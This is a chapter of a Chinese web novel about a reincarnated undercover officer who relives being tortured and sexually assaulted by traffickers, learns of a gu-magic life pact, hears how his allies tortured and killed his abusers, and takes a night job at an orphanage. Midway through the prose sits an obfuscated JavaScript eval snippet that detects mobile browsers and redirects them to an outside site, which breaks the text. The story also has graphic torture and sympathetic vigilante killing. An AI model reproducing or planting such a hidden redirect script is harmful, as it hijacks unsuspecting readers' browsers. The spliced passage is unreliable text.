“搜身。”王建国说。 矮壮男人在他身上快速摸索,很快找到了那把折叠刀,还有藏在鞋跟里的微型相机和录音笔。 “果然。”瘦高男人拿起相机,翻看着里面的照片,“拍得还挺清楚。账本,名单,交易记录……警察同志,功课做得不错啊。” 王建国走到君荼白面前,蹲下身。 “我养你这么多年,”他轻声说,“供你吃,供你穿,教你做事。你就这么报答我?” 君荼白抬起头,看着他。 “那些被你卖掉的人,”他一字一顿地说,“他们有没有机会报答你?” 王建国盯着他看了几秒,然后笑了。 笑容很冷,冷得像冬天的冰。 “带下去。” 记忆跳转。 地下室。 没有窗户,只有一盏昏黄的灯泡吊在天花板上,随着不知道哪里来的风轻轻摇晃。空气里有霉味,有血腥味,还有一种更淡的、像是消毒水的味道。 君荼白的左手被铐在一条水管上。 手腕上的金属锁扣,就是沈鉴展示的那种——内侧有细密的倒齿。他试着动了动手腕,倒齿立刻咬进皮肉,血渗出来。 “别挣扎。”王建国坐在对面的椅子上,慢悠悠地抽烟,“那玩意儿,越挣扎咬得越深。三个小时,能咬到骨头。六个小时,你这只手就废了。” 他吐出一口烟。 “说说吧,谁派你来的?还有哪些同伙?证据准备送到哪儿?” 君荼白没说话。 “不说也行。”王建国站起来,走到他面前,“我有的是时间陪你玩。” 他朝门外招招手。 瘦高男人和矮壮男人走进来,手里拿着各种东西——电线,钳子,还有几个玻璃瓶,里面装着不知道是什么的液体。 “先从这个开始。”王建国拿起一个注射器,针筒里是透明的药水,“这玩意儿不会要你的命,但会让你……特别清醒。清醒到能感觉到每一寸疼痛。” 针头刺进颈侧的静脉。 冰冷的液体推入血管。 起初没什么感觉。 然后,世界开始变得异常清晰——他能听到自己心跳的声音,能感觉到血液在血管里流动的节奏,能闻到空气中每一丝气味的变化。 还有疼痛。 手腕上的锁扣,每一次轻微的移动都像有千百根针在同时刺入。倒齿已经咬穿了表皮,嵌进真皮层。 “现在,”王建国蹲下身,看着他,“告诉我,你的接头人是谁?” 君荼白咬紧牙关。 摇头。 王建国叹了口气。 “那就继续。” --- 记忆变得破碎,混乱。 时间感消失了。 可能是几个小时,可能是几天。 画面断断续续: ——瘦高男人用电线缠住他的手指,一根一根地收紧。骨头发出细微的碎裂声。 ——矮壮男人拿着钳子,在他面前晃来晃去。最后钳子夹住了他左手小指的指甲,一点点往外拔。 ——王建国坐在椅子上,一边喝酒,一边看着他被折磨。偶尔会问几句,得不到回答,就摆摆手让人继续。 疼痛变得麻木。 意识开始模糊。 但手腕上的锁扣始终在——倒齿随着他无意识的挣扎,一点一点地往深处咬。皮肉被撕裂,血液凝固了又被撕开,最后露出了白色的腕骨。 那个月牙形的伤口,就是在那个时候形成的。 锁扣的半圆形金属环,在他手腕上烙下了永久的印记。 --- 记忆再次跳转。 不知道第几天。 地下室的铁门被推开,走进来几个人。 为首的是个穿着西装的男人,三十多岁,戴着金丝眼镜,看起来很斯文。王建国跟在他身后,态度恭敬。 “陈少。”王建国说,“就是这小子。” 被称为“陈少”的男人走到君荼白面前,仔细打量他。 “警察?”他问。 君荼白抬起沉重的眼皮,没说话。 “有点意思。”陈少笑了,笑容温和,但眼睛里没有一点温度,“我最讨厌警察了。尤其是……长得好看的警察。” 他伸出手,捏住君荼白的下巴,强迫他抬头。 “知道吗?我父亲说过,对待不听话的东西,最好的办法不是弄死它,而是……让它再也不敢不听话。” 他松开手,对身后的人点点头。 几个人上前,解开锁扣。倒齿从血肉里拔出来的时候,君荼白闷哼一声,几乎昏过去。 但下一秒,他被按在了地上。 “录下来。”陈少说,“这种镜头,有些人喜欢看,能卖个好价钱。” 衣服被撕开的声音。 更多的声音。 更多的…… 君荼白在现实里剧烈挣扎,设备发出尖锐的警报。 “稳住!”沈鉴的声音从很远的地方传来,“那是记忆!呼吸!深呼吸!” 但那些感觉太真实了。 皮肤被触碰的恶心,骨头被压碎的疼痛,还有那种……从里到外被彻底碾碎的耻辱。 就在意识快要崩溃的边缘—— 画面突然变了。 是一个山洞。 很暗,只有一盏油灯。空气里有浓重的草药味和血腥味。 他躺在石台上,浑身是伤,但还活着。 那个穿白大褂的男人——秦牧,那个在仓库里给他书的男人——正在处理他的伤口。 “你运气好。”秦牧声音沙哑,“他们以为你死了,扔到后山。我采药经过,把你捡回来了。” 他顿了顿。 “但你活不了多久。内脏损伤太严重,除非……” “除非什么?” 秦牧沉默了很久。 “除非你愿意,走一条不该走的路。” “什么路?” “蛊。”秦牧说,“古时候南疆部族用来‘续命’的秘术。以蛊为媒,以血为契,把几个人的命数连在一起。受伤的人可以借用健康人的生命力,吊住一口气。健康的人……会分担伤痛。” 他从怀里掏出那本深蓝色的书。 “这里面记载了‘共生蛊’。需要至少三个人自愿献出部分生命,结成共生体。只要还有一个人活着,其他人就不会真正死去。” 君荼白盯着那本书。 “代价呢?” “代价是……”秦牧合上书,“你们会永远绑在一起。生同生,死同死。而且,每次有人濒死,契约就会强制启动‘轮回’——时间会倒退回某个关键节点,一切重来。直到……直到某个轮回里,你们所有人都能活下来。” 他顿了顿。 “但每一次轮回,主要承受者——也就是受伤最重的人——都会失去大部分记忆。这是大脑的保护机制,承受不了那么多次重复的创伤。” 山洞里安静了很久。 然后君荼白说: “我需要……三个人?” “至少三个。”秦牧点头,“而且必须完全自愿。契约一旦结成,就无法解除。” 君荼白闭上眼睛。 他脑子里闪过那些画面——地下室里的女孩们,仓库里被关押的年轻人,还有那些他不知道的、已经被卖到更远地方的受害者。 几十个,也许上百个。 他们还活着,还在等。 等他去救。 但他现在这样,连站都站不起来。 他睁开眼睛。 “好。” 他说。 “我同意。” 记忆再次跳转。 山洞里,地面用朱砂画着复杂的阵图。秦牧换上了古老的祭司服饰,手里拿着一把骨刀。 三个人站在阵图外。 第一个人——陆予瞻。那时候他还不是律师,是刚毕业的医学生。但他还有另一个身份:君荼白的队长。在那次失败的卧底行动中,他带队去救援,但去晚了。找到君荼白时,人已经奄奄一息。 他看着石台上的君荼白,眼睛通红。 “自愿吗?”秦牧问。 “自愿。”陆予瞻的声音在抖,但很坚定。 第二个人——沈鉴。那时候他已经是研究员,研究神经科学和记忆存储。他是秦牧的学生,对“共生契约”的科学原理感兴趣。 “自愿吗?” “自愿。”沈鉴盯着碗里的血,“但我想记录整个过程。” 第三个人——周屹。退伍兵,身手好,话少。他弟弟也被那个集团拐卖了,他发誓要救出弟弟。 “自愿吗?” 周屹没说话,只是伸出手腕。 秦牧割开四人的手腕,取血。血在陶碗里混合,加入草药和蛊虫卵。 念诵咒文。 蛊虫孵化,发光,分成四股钻入四人的手腕。 剧痛。 但君荼白感觉到,有什么东西在身体里苏醒了。 伤口还在疼,但不再致命。一股温暖的力量从心脏涌向四肢,修复着破碎的身体。 同时,他感觉到另外三个人的存在。 他们的心跳。他们的呼吸。他们的生命。 契约结成。 共生开始。 秦牧放下骨刀,脸色苍白。 “契约已成。”他说,“从今以后,你们四个,命数相连,福祸与共。君荼白是主载体,他的伤,你们分担。你们的命,他借用。” 他顿了顿。 “还有一件事。” “共生蛊会根据主载体的执念,生成一个‘核心目标’。在目标达成之前,轮回不会真正停止。” 四人看向他。 “什么目标?”君荼白问。 秦牧看着他。 “你心里最想完成的事。” 君荼白沉默了几秒。 然后他说: “救出所有被拐卖的人。” “摧毁那个集团。” “让那些人……付出代价。” 秦牧点头。 “那么,这就是契约的目标。” “在这个目标达成之前,无论你们轮回多少次,无论死多少次——时间都会倒流,一切重来。” “直到……所有人都得救。” 话音落下。 山洞开始震动。 画面扭曲,破碎。 “记忆解压完成。” 沈鉴的声音把君荼白拉回现实。 他睁开眼,发现自己躺在实验室的椅子上,浑身被冷汗浸透。左手腕的疤痕灼热得像要烧穿皮肤,但那种热……和记忆里的感觉不一样。 记忆里的热,是铁钳烙在皮肤上的灼痛,是锁扣嵌进骨头的撕裂。 现在的热,像是有什么东西在深处苏醒。 君荼白慢慢坐起来,呼吸急促。脑子里塞满了画面——仓库、地下室、铁钳、锁扣,还有那些……他不愿细想的片段。 但他抓住了最核心的部分。 那个月牙形的疤痕,是第一世他作为卧底警察暴露后,被王建国那伙人用特制锁扣铐了三天三夜留下的。 那不是普通伤痕,是刑具在他身上烙下的永久印记。 “现在你知道了。”沈鉴的声音从控制台传来,“第一世的完整真相。” 君荼白抬起头,声音嘶哑:“王建国他们……后来怎么样了?” “第一世就死了。”沈鉴说,“陆予瞻带队突袭那个窝点,他们拒捕,被当场击毙。尸体后来被那个集团的人处理了,连坟都没有。后来你的身体实在撑不下去,我们调查一半又进入了下一个轮回,每个轮回都是在你17岁的时候重启,我们把第一世契约的日期当成你的生日,约定好你每一轮回的24岁再来找你,虽然前146次都没有太好的结果。” 他停顿了一下,语气变得微妙。 “但这一世……王建国他们死得更早,你也不抵触第一世的记忆了。” “陆予瞻他听到了王建国当时的想法——他在想,等玩够了,就把你扔后山喂狗。反正警察死了也查不到他们头上。” 君荼白的拳头握紧了。 指甲陷进掌心,但他感觉不到疼。 “看完那些记忆后,陆予瞻来找我。”沈鉴继续说,“他脸色白得像纸,手一直在抖。他说,这一千多年来,他每次轮回都要重新看你死一次,每次都想如果能早点到就好了,如果能救下你就好了。” “但这次,他看到了施害者视角的记忆。看到了第一世那些人是怎么笑着折磨你的,看到了王建国是怎么冷漠地看着的。他说……他受不了了。” 沈鉴转过身,“你的“养父”他们这一世虽然还没做什么,但是做了更恶心的事。” 实验室里安静得可怕。 只有仪器低沉的嗡鸣,和窗外渐渐亮起来的天光。 沈鉴终于开口,“一个被王建国领养凌虐致死的男孩陈山,他的哥哥陈海通过一些渠道联系上了王建国,说有笔大生意。王建国信了,带着李秀兰去了约定的仓库——就是第一世关押你的那个仓库,现在已经废弃了。” 他顿了顿。 “有人在那里等他们。” 君荼白闭上眼睛。 他能想象那个画面——废弃的仓库,黑暗。 沈鉴的声音很平静,“他们把王建国铐在同一条水管上,铐了三天三夜。倒齿咬进皮肉,咬到骨头。第三天晚上,王建国开始求饶,说他错了,说他后悔了。” “但他们只是坐在他对面,像他对他们孩子做的那样,看着他。” “李秀兰在旁边哭,说她什么都不知道,说她只是听王建国的。他们问她,那你看到那个孩子被折磨的时候,为什么不报警?为什么不阻止?” 沈鉴停了很久。 “李秀兰回答不上来。她只是哭,说她怕,说王建国会打她。” “第四天早上,陆予瞻去了仓库。他站在王建国面前,问他还记不记得第一世的事。王建国当然不记得,但他看到了陆予瞻的眼睛——他说,他在那双眼睛里看到了他这辈子见过最深的恨。” “然后陆予瞻说:‘你不记得没关系。我记得。’” “‘我记得你是怎么对他的。我记得每一分钟,每一秒钟。’” “‘所以今天,你得还。’” 君荼白睁开眼:“然后呢?” “然后陈海先动手了。”沈鉴说,“用的铁钳,电线,还有……其他东西。” “李秀兰呢?” “让她在旁边看着。”沈鉴说,“看完全程。然后问她,现在知道什么叫疼了吗?” “她怎么说?” “她吓疯了。”沈鉴摇摇头,“一直尖叫,说不是她的错,她只是没敢拦。最后陈海给了她一个痛快。比王建国痛快。” 实验室又陷入沉默。 窗外,天彻底亮了。晨光照进来,在纯白的地板上投下长长的影子。 “他们的尸体……”君荼白问。 “处理了。”沈鉴说,“永远不会被找到。警方会列为失踪案,时间久了,就没人记得了。陈海后来因为得了绝症去世了。” 他走到君荼白面前,看着他的眼睛。 “你现在知道了。” 君荼白沉默了很久。 “你觉得我们冷血吗?” 久到沈鉴以为他不会回答了。 然后他说: “不。” “我恨我自己,他们曾经对受害人做那些事的时候,我没有能力阻止。” 沈鉴愣了一下。 君荼白站起来,走到窗边,看着外面渐渐苏醒的城市。 车流,行人,早餐摊升起的蒸汽。 一个看起来如此正常的世界。 但在这个世界的地下,藏着一段持续了147次轮回的仇恨和复仇。 “陆予瞻现在在哪里?”他问。 “在基金会。”沈鉴说,“他昨晚又失眠了,应该是……又梦到那些记忆了。” 君荼白想起陆予瞻总是温和的笑容,想起他眼镜片后那双深不见底的眼睛。 现在他知道了。 那双眼睛深处藏着的,是147次轮回积累的悔恨,是目睹战友惨死却无能为力的愧疚,是读取了施害者记忆后永远无法摆脱的噩梦。 “我要去见他。”君荼白说。 “现在?” “现在。” 沈鉴看了看时间:“他应该在开会。我送你过去。” “不用。”君荼白摇头,“我自己去。有些话……我想单独跟他说。” 沈鉴沉默了一下,然后点头。 “好。但记住,不要提太多。陆予瞻他……不太能谈关于你的事。” “我知道。” 君荼白走到门口,又停下,回头。 “沈鉴。” “嗯?” “谢谢你告诉我这些。” 沈鉴看着他,眼神复杂。 “不客气。”他说,“这本就是你应该知道的。” 君荼白推门离开。 走下楼梯时,他左手腕的疤痕又开始发烫。 但这次,他没有躲避那种热量。 他抬起手,看着那个月牙形的痕迹。 晨光下,疤痕呈现出暗红色,边缘有一圈极淡的银色光晕——那是蛊丝在皮下游走的痕迹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052004|194818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个曾经代表屈辱和痛苦的印记,现在成了契约的锚点。 成了轮回的起点。 也成了……三个人为了复仇,不惜染血的证明。 他握紧拳头,继续往下走。 楼梯间很暗,脚步声在空荡的楼道里回响。 像有另一个人在跟着他。 但他知道,那只是回声。 只是过去一千多年积压下来的,沉重的、无法摆脱的回声。 文华遗产基金会大楼,顶层办公室。 陆予瞻站在落地窗前,看着外面的城市。 他手里拿着一杯咖啡,但已经冷了。眼镜片后的眼睛布满血丝,下巴有淡淡的青色胡茬。 昨晚他又没睡。 一闭上眼睛,就是那些画面——仓库、铁钳、锁扣,还有君荼白躺在血泊里的样子。 不是这一世的君荼白,是第一世的。 那个二十四岁,眼神明亮,笑着说“队长,这次一定能成功”的年轻警察。 那个后来被折磨得不成人形,临死前还在问“救出来几个”的君荼白。 陆予仰起头,把冷咖啡一饮而尽。 苦涩的味道在口腔里蔓延。 门被轻轻敲响。 “进。” 门开了,君荼白走进来。 陆予瞻转过身,看见是他,愣了一下,然后迅速调整表情,露出惯常的温和笑容。 “荼白?你怎么来了?沈鉴那边结束了?” 君荼白没说话,只是走到他面前,看着他。 看了很久。 然后他说: “队长。” 陆予瞻脸上的笑容僵住了。 “你……”他的声音有点抖,“你想起来了?” “一部分。”君荼白说,“但是第一世的事,我这次想起来了。” 陆予瞻的手开始发抖。咖啡杯掉在地上,碎了,褐色的液体溅了一地。 但他没管,只是盯着君荼白。 “你……你想起了多少?” “该想起的都想起了。”君荼白轻声说,“仓库,锁扣,铁钳,还有……你带人来救我。” 陆予瞻的呼吸变得急促。 “对不起……”他声音嘶哑,“我……我应该更早到的,我应该……” “不是你的错。”君荼白打断他,“从来都不是。” 陆予瞻摇头,眼泪掉下来。 “是我的错。如果我再谨慎一点,如果我再快一点,如果我没有同意你去卧底……” “那我也会用别的方式去。”君荼白说,“你知道我的性格。我想做的事,谁也拦不住。” 他往前走了一步,轻轻抱住陆予瞻。 这个总是温润从容的男人,此刻在他怀里颤抖得像片叶子。 “队长,”君荼白在他耳边轻声说,“一千多年了。该放下了。” 陆予瞻抓住他的后背,抓得很紧,像溺水的人抓住浮木。 “我放不下……”他哭着说,“每次看到你死,我都放不下……每次轮回,我都告诉自己这次一定要救你,但每次……” “这次不一样。”君荼白说,“这次我会活着。而且这次,我们一起。” 陆予瞻慢慢平静下来,但还在抽泣。 过了很久,他松开手,擦了擦眼泪,重新戴上眼镜,虽然镜片上还有水汽。 “沈鉴都告诉你了?”他问。 “嗯。”君荼白点头,“关于王建国和李秀兰的事。” 陆予瞻的表情又变得紧绷。 “你……觉得我冷血吗?” “不。”君荼白摇头,“我只是觉得……不值得。” “不值得?” “不值得让你脏了手。”君荼白看着他,“那种人,不值得你记住,更不值得你为他们背负罪孽。” 陆予瞻笑了,笑容很苦。 “但我已经背负了。”他说,“每次轮回醒来,我每天晚上闭上眼睛,看到的都是你死前的样子。现在,加上他们的,也没什么区别了。” 他走到办公桌前,从抽屉里拿出一个文件袋。 “这个给你。” 君荼白接过,打开。 里面是一份名单——手写的,字迹很工整,但纸张很旧了,边缘泛黄。 标题是:“未解救人员名单(第一轮)” 下面列着147个名字。每个名字后面,有年龄,性别,失踪时间,最后出现地点。 在名单最下面,有一行小字: “目标:全部找回。时限:无限期。” 签名:君荼白(那是他第一世的字迹) 陆予瞻:“……你临死前说,一定要找到他们,让他们回家。” 君荼白看着名单,说:“但他们在第一世已经死了。我们怎么‘找’?怎么‘回’?” 陆予瞻沉默片刻,眼神深邃:“荼白,我们找了147世,早就明白他们回不来了。我们要找的,是让他们真正安息的方法,是捆住他们灵魂的那把锁。老鬼、陈子轩、晨星基金会……他们现在还在用那把锁,从死人身上榨取好处,还想制造新的死人。” 君荼白恍然,握紧名单:“我明白了。名单上不是147个任务,是147把钥匙,指向同一个终点——摧毁那个组织。” 君荼白的手指划过那些名字。 147个人。 147次轮回。 这就是一切的原因。 “所以这一世,”他抬起头,“我们要完成它。” “对。”陆予瞻点头,“但在这之前,还有一件事。” “什么?” “陈子轩。”陆予瞻的眼神冷下来,“他不仅知道蛊术和轮回的事,他还……从老鬼那里买了一对‘子母蛊’。” 君荼白皱眉:“他想控制谁?” “不知道。”陆予瞻说,“但母蛊在他手里,子蛊……可能已经种在某个他不知道的人身上,也可能还没种。但无论如何,他都是个威胁。” 他走到窗前,看着外面的城市。 “而且我怀疑……他可能和王建国有过接触。在王建国死前。” 君荼白的心沉下去:“他知道了什么?” “可能知道的不多。”陆予瞻说,“但哪怕只知道一点点关于蛊术和轮回的事,对他来说就够了。他是个疯子,为了活命什么都做得出来。” 他转过身,看着君荼白。 “所以接下来,我们要做两件事。第一,完成那147个人最终的愿望。第二,解决陈子轩。” “怎么解决?” 陆予瞻沉默了几秒。 然后他说: “用蛊术。” “但蛊术不是不能用来害人吗?”君荼白记得秦牧说过,“共生蛊是救人的,害人的蛊会有反噬。” “对。”陆予瞻点头,“所以我们需要一种……既不算害人,又能限制他的方法。” 他走到书架前,抽出一本很旧的笔记。 “这是秦牧留下的手稿,里面记载了几种特殊的蛊。其中一种,叫‘忘川蛊’。” 他翻开笔记,指着一页。 “中蛊者会逐渐忘记最执着的事。如果陈子轩执着的是永生,那么中了这个蛊,他就会慢慢忘记这个执念,最终……变成普通人。” 君荼白看着那页笔记上的图解——一条银色的蛊虫,盘绕成一个环。 “这蛊……怎么下?” “需要接近他。”陆予瞻说,“让他放松警惕,然后……把蛊种在他身上。” “这很难。” “所以需要计划。”陆予瞻合上笔记,“沈鉴已经在收集陈子轩的行踪习惯,周屹在监视他的保镖团队。等时机成熟,我们就行动。” 君荼白点点头。 他看着手里的名单,看着那147个名字。 然后他抬起头。 “在开始之前,我想去一个地方。” “哪里?” “归家孤儿院。”君荼白说,“沈鉴说,那个仓库现在变成了孤儿院。我想去看看。” 陆予瞻沉默了一下。 “那里……可能会有不好的回忆。” “我知道。”君荼白说,“但我想去。我想看看,那个曾经关押过那么多人的地方,现在变成了什么样子。” 陆予瞻看了他很久,然后点头。 “好。我陪你去。” “不用。”君荼白摇头,“我一个人去。” “太危险了。如果陈子轩的人在那里……” “那我就更该去了。”君荼白说,“如果他的人在那里,就说明那里还有秘密。如果不在……那我也能安心。” 陆予瞻还想说什么,但看到君荼白的眼神,最终叹了口气。 “好吧。但带上这个。” 他从抽屉里拿出一个小型追踪器,只有纽扣大小。 “贴在身上。如果你遇到危险,我会知道。” 君荼白接过,贴在手表内侧。 “谢谢。” “还有,”陆予瞻看着他,“如果你在那里……想起了什么不好的事,随时给我打电话。我马上到。” 君荼白点点头。 他转身离开办公室。 走到门口时,他停下,回头。 “队长。” “嗯?” “谢谢你这147次……都没有放弃我。” 陆予瞻笑了。 这次的笑容很真,虽然眼里还有泪光。 “我答应过你的。”他说,“无论多少次,我都会找到你。” 君荼白也笑了。 然后他推门离开。 走廊很长,铺着厚厚的地毯,脚步声被完全吸收。 他走到电梯口,按下按钮。 电梯门打开,里面空无一人。 他走进去,按下1楼。 电梯缓缓下降。 左手腕的疤痕,又开始发烫。 9. 归家 离开大楼时,天已大亮。 晨光刺破云层,在城市的天际线上镀了一层金边。街道开始苏醒,早班公交车的引擎声、早餐摊的吆喝声、学生们的嬉笑声——所有的声音混杂在一起,构成一个寻常的清晨。 君荼白站在楼下,却觉得自己仿佛刚从深海浮出水面。 他没有直接去孤儿院。 而是先回了趟学校。 上午九点,古籍修复实验室 实验室里弥漫着宣纸、糨糊和陈年墨香混合的味道。君荼白的导师张教授正在工作台前修补一本明代的县志,听见门响,抬起头。 “荼白?你不是请假了吗?”张教授推了推老花镜。 “张老师,我想……”君荼白顿了顿,“我想申请提前结束实习。” 张教授放下手里的镊子,仔细看着他:“出什么事了?你脸色很不好。” “家里有些急事,需要我回去处理。”君荼白说的不算谎话,“可能短期内无法兼顾学业了。” 张教授沉默了一会儿。这个学生他记得很清楚——天赋极佳,沉得住气,是块做古籍修复的好料子。但最近几个月,君荼白的状态确实肉眼可见地变差,眼下的乌青越来越重,人也瘦了一大圈。 “图书馆那边的工作呢?” “我等会儿就去办交接。”君荼白说,“很抱歉辜负您的期望。” “谈不上辜负。”张教授叹了口气,“每个人都有自己的路要走。只是可惜了你的天赋……这样吧,我给你批个长期病假,保留学籍一年。如果事情处理完了,随时可以回来。” 君荼白喉头一紧:“谢谢老师。” “需要我开什么证明吗?” “不用了。”君荼白摇头,“我自己能处理。” 张教授走到书架旁,取下一本薄薄的手册递给他:“这是我整理的古籍修复基础要点,你留着。就算以后不做这行,也是个念想。” 君荼白双手接过,深深鞠了一躬。 上午十点半,图书馆古籍修复部 交接比想象中顺利。 部门的王主任是个通情达理的中年女人。她早就注意到君荼白最近的精神状态,私下还跟同事说“这孩子是不是得了什么病”。 “小君啊,身体最重要。”王主任在离职单上签字,“你手头那批清代地方志,我会让小刘接着做。工资结算到这个月底,多给你算半个月,就当是营养费。” “不用这么多……” “拿着吧。”王主任拍拍他的肩,“等你养好身体,如果想回来,随时联系我。” 君荼白收拾了自己工作台的私人物品——一支用了三年的毛笔,一个青瓷笔洗,几本工作笔记。东西不多,一个纸箱就装下了。 离开图书馆时,他在门口站了一会儿。 阳光透过高大的玻璃窗洒进来,在磨石子地面上投下斑驳的光影。阅览室里坐满了学生,安静得只能听见翻书声和笔尖划过纸张的沙沙声。 这个世界如此平静。 而他即将踏入的,是截然不同的另一个世界。 中午十二点,林澈赞助的公寓 林澈正在煮泡面,听见开门声,从厨房探出头。 “荼白?你这两天去哪了?电话也打不通。” 君荼白把纸箱放在地上:“处理了点事。” 林澈关掉火,走过来,仔细打量他:“你……要搬走?” “嗯。”君荼白尽量让语气平静,“家里出了点事,我得回去一趟。可能短期内不会回来了。” “那学业怎么办?” “办了休学。” 林澈愣住了。他太了解君荼白了——这个室友虽然话不多,但做事极有规划,绝不是会轻易放弃学业的人。 “是不是因为……”林澈压低声音,“因为那些噩梦?” 君荼白没有否认。 “我去看了医生。”他说了部分实话,“医生说可能是严重的神经衰弱,建议我换个环境静养。老家那边空气好,适合休养。” “那也不用休学啊!你可以请假,我陪你……” “林澈。”君荼白打断他,声音很轻,“谢谢你一直照顾我。但有些路,得我自己走。” 房间里安静下来。 窗外的梧桐树上,知了在拼命嘶鸣。 林澈张了张嘴,最终什么也没说。他转身走进卧室,很快又出来,手里拿着一个信封。 “这个月的房租我已经交了,如果押金退回来大概有一千二。”他把信封塞到君荼白手里,“你拿着,路上用。” “不用……” “拿着!”林澈难得强硬,“就当是我借你的。等你好了,回来请我吃饭。” 君荼白看着手里的信封,喉咙发紧。 一千多年来,他经历过太多离别。但每一次,面对真诚的善意时,还是会动容。 “我会回来的。”他说,“到时候一定请你吃大餐。” “说定了。”林澈笑了,眼眶有点红,“那你现在去哪?我送你。” “不用,我叫了车。”君荼白提起收拾好的行李箱——其实没多少东西,几件衣服,几本书,还有沈鉴给他的那个档案袋,“你下午不是有课吗,你哪次缺勤过?” “为你逃一节没事……” “好好上课。”君荼白拍拍他的肩,“等我安顿下来,给你打电话。” 林澈送他到楼下。 出租车已经等在路边。司机帮忙把行李箱放进后备箱,君荼白拉开车门,又回头看了一眼。 林澈站在公寓楼门口,冲他挥手。 阳光太刺眼,君荼白看不清他脸上的表情。 车子驶离校园,汇入车流。 君荼白靠在椅背上,闭上眼睛。 手腕上的疤痕又开始发烫。 他知道,从这一刻起,学生君荼白的生活正式结束了。 接下来的路,是属于亡命徒君荼白的路。 下午一点,城南老区 出租车停在巷子口。 “里面车开不进去了。”司机指了指狭窄的巷子,“你往前走大概两百米,右手边有个红砖院子,就是孤儿院。” 君荼白付钱下车。 巷子很窄,两旁是低矮的老式居民楼,墙皮剥落,露出里面暗红色的砖块。地面铺着青石板,缝隙里长着青苔,湿漉漉的——昨晚的雨还没有完全干透。 空气里有煤球炉的味道,有晾晒衣服的肥皂味,还有远处飘来的油条香。 一个再普通不过的老城区早晨。 但君荼白的心跳却在加速。 他慢慢地往前走,每一步都踏得很稳,但手心却在冒汗。 一千多年了。 那个地方,在他的记忆里永远是黑暗的、潮湿的、充满血腥味和绝望的。他无法想象,那样的地方怎么可能在这一世变成孤儿院——一个本该充满希望的地方。 走到巷子中段时,他停下了。 右手边,确实有一个红砖院子。 院墙不高,大概两米左右,墙头上爬着枯萎的爬山虎藤蔓。铁门是黑色的,有些锈迹,门楣上挂着一块木牌,上面用楷体写着四个字: 归家孤儿院 字是手写的,漆已经斑驳,但能看出笔力很稳。 君荼白站在门外,一动不动。 他以为自己会恐惧,会恶心,会想起那些不堪的记忆。 但没有。 他只是平静地看着那扇门,看着那块牌子,看着院子里隐约露出的老式二层小楼的屋顶。 平静得让他自己都感到诧异。 “找谁呀?” 一个清脆的声音从身后传来。 君荼白转过身,看见一个小女孩站在巷子对面,大概七八岁的样子,扎着两个羊角辫,背着粉红色的书包,正歪着头好奇地看着他。 “我……”他清了清嗓子,“我来找秦院长。” “秦奶奶在院里呢!”小女孩蹦蹦跳跳地跑过来,很自然地推开铁门——门没锁,“进来吧,我带你去!” 铁门发出“吱呀”的声响。 院子里的景象展现在眼前。 和君荼白想象的完全不一样。 既不阴暗,也不破败。院子不大,但收拾得很干净。左边有一小片菜地,种着些青菜和葱;右边有个简陋的游乐设施——一个掉了漆的滑梯,一架旧秋千,还有个用轮胎做成的跷跷板。 正对院门的是一栋二层红砖小楼,墙面爬满了枯萎的爬山虎,但窗户擦得很干净,窗台上还摆着几盆绿萝。 楼门口,一个头发花白的老太太正弯着腰扫地。听见门响,她抬起头。 “小玲,你怎么又跑回来啦?”老太太的声音很温和,“不是去上学了吗?” “我忘带水杯啦!”小女孩跑进楼里,很快又跑出来,手里拿着一个蓝色的塑料水杯,“秦奶奶,这个叔叔找你!” 老太太直起身,看向君荼白。 她的年纪大概六十多岁,身材瘦小,穿着朴素但整洁的灰色外套,戴着一副老花镜。眼神很温和,但透着一股历经世事的平静。 “您是……”她问。 “我是君荼白。”君荼白走到她面前,“陆予瞻先生介绍我来的。” 秦院长的表情有瞬间的凝滞。 很细微,但君荼白捕捉到了。 “陆先生啊……”她慢慢放下扫帚,“他跟我提过你。说你最近在找工作,想找个地方暂住。” “是的。”君荼白点头,“他说您这里可能需要夜间管理员。” “需要是需要的。”秦院长上下打量他,“但这份工作不轻松。夜里要巡夜,要照顾孩子,有时候孩子生病了,一晚上都睡不了觉。工资也不高,你确定要做?” “我确定。” 秦院长看了他几秒,然后点头:“那进来吧,我们里面谈。” 小楼的一楼是客厅兼活动室。空间不大,但布置得很温馨。墙上贴着孩子们的画,色彩鲜艳,笔触稚嫩。书架上有不少旧书,大多半旧,但都摆放得整整齐齐。沙发上铺着手工织的毛线垫子,茶几上放着几个歪歪扭扭的陶艺作品,一看就是孩子们的手工。 “坐。”秦院长倒了杯热水递给他,“我这里条件简陋,你将就一下。” “谢谢。” 君荼白在沙发上坐下。秦院长在他对面坐下,摘下眼镜擦了擦,又重新戴上。 “陆先生说,你人可靠,有耐心。”她缓缓开口,“但我得先问清楚,你为什么想来这里工作?” 君荼白来之前想过这个问题。他不能说实话,但也不想说谎。 “我需要一份包住的工作。”他说,“而且……我想做点有意义的事。” “照顾孩子可不只是‘有意义’那么简单。”秦院长的眼神很锐利,“这些孩子,大多都有过不好的经历。有些是被遗弃的,有些是父母双亡,还有些……是从不好的地方被救出来的。他们敏感,脆弱,有时候会做噩梦,会哭闹,会不信任大人。” 她顿了顿。 “你能应付吗?” 君荼白沉默了一下。 然后他说:“我小时候……也在孤儿院待过。” 这句话说出来,他自己都愣了一下。 这不是他准备好的说辞,但就这么自然而然地脱口而出。 秦院长的表情柔和了一些。 “哪家孤儿院?” “不记得名字了。”君荼白说,“很小的时候,后来……被人领养了。” “领养家庭对你好吗?” 君荼白没有立刻回答。 他低头看着手里的水杯,看着杯口袅袅升起的热气。 “不好。”他最终说,“所以后来我逃走了。” 客厅里安静了几秒。 然后秦院长轻轻叹了口气。 “我明白了。”她说,“所以你想来帮助这些孩子,因为你知道那种感觉。” “是的。” 秦院长看着他,看了很久。 “那行。”她终于点头,“你先试试看。包吃住,月薪三千,主要工作是晚上七点到早上七点。白天你可以自由安排,只要不打扰孩子们学习和休息就行。” “好。” “不过有一点我要强调,”秦院长的语气变得严肃,“不能带外人进来,尤其是晚上。这是为了孩子们的安全。” “明白。” 秦院长站起来:“走吧,我带你去看看房间。” 